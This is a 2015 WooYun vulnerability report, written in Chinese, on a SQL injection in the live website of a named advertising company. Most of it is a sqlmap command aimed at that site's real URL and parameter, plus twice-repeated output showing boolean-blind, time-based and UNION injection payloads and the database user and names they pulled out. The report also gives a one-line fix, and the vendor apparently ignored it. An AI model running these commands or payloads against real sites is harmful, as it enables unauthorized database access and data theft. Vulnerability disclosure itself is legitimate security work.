当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141656

漏洞标题:好耶集团存在sql注入漏洞

相关厂商:好耶广告

漏洞作者: 木易木兆

提交时间:2015-09-17 10:39

修复时间:2015-09-22 10:40

公开时间:2015-09-22 10:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-17: 细节已通知厂商并且等待厂商处理中
2015-09-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

存在一个mysql的注入漏洞,漏洞无需登录,可union查询,可快速脱裤

详细说明:

sqlmap.py -u "http://www.allyes.com/case/getinfo?id=11" -p id --current-user --current-db --dbs
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11') AND 2789=2789 AND ('JBVT'='JBVT
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=11') AND (SELECT * FROM (SELECT(SLEEP(5)))dUAw) AND ('aKnb'='aKnb
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: id=-9754') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71767a7171,0x6c446271464262676355,0x7162766271),NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[20:37:28] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
[20:37:28] [INFO] fetching current user
current user: 'allyesweb@localhost'
[20:37:28] [INFO] fetching current database
current database: 'allyesweb'
[20:37:28] [INFO] fetching database names
[20:37:28] [INFO] the SQL query used returns 3 entries
[20:37:28] [INFO] retrieved: information_schema
[20:37:28] [INFO] retrieved: allyesweb
[20:37:29] [INFO] retrieved: test
available databases [3]:
[*] allyesweb
[*] information_schema
[*] test

漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11') AND 2789=2789 AND ('JBVT'='JBVT
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=11') AND (SELECT * FROM (SELECT(SLEEP(5)))dUAw) AND ('aKnb'='aKnb
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: id=-9754') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71767a7171,0x6c446271464262676355,0x7162766271),NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[20:37:28] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
[20:37:28] [INFO] fetching current user
current user: 'allyesweb@localhost'
[20:37:28] [INFO] fetching current database
current database: 'allyesweb'
[20:37:28] [INFO] fetching database names
[20:37:28] [INFO] the SQL query used returns 3 entries
[20:37:28] [INFO] retrieved: information_schema
[20:37:28] [INFO] retrieved: allyesweb
[20:37:29] [INFO] retrieved: test
available databases [3]:
[*] allyesweb
[*] information_schema
[*] test

修复方案:

参数化查询

版权声明:转载请注明来源 木易木兆@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-22 10:40

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无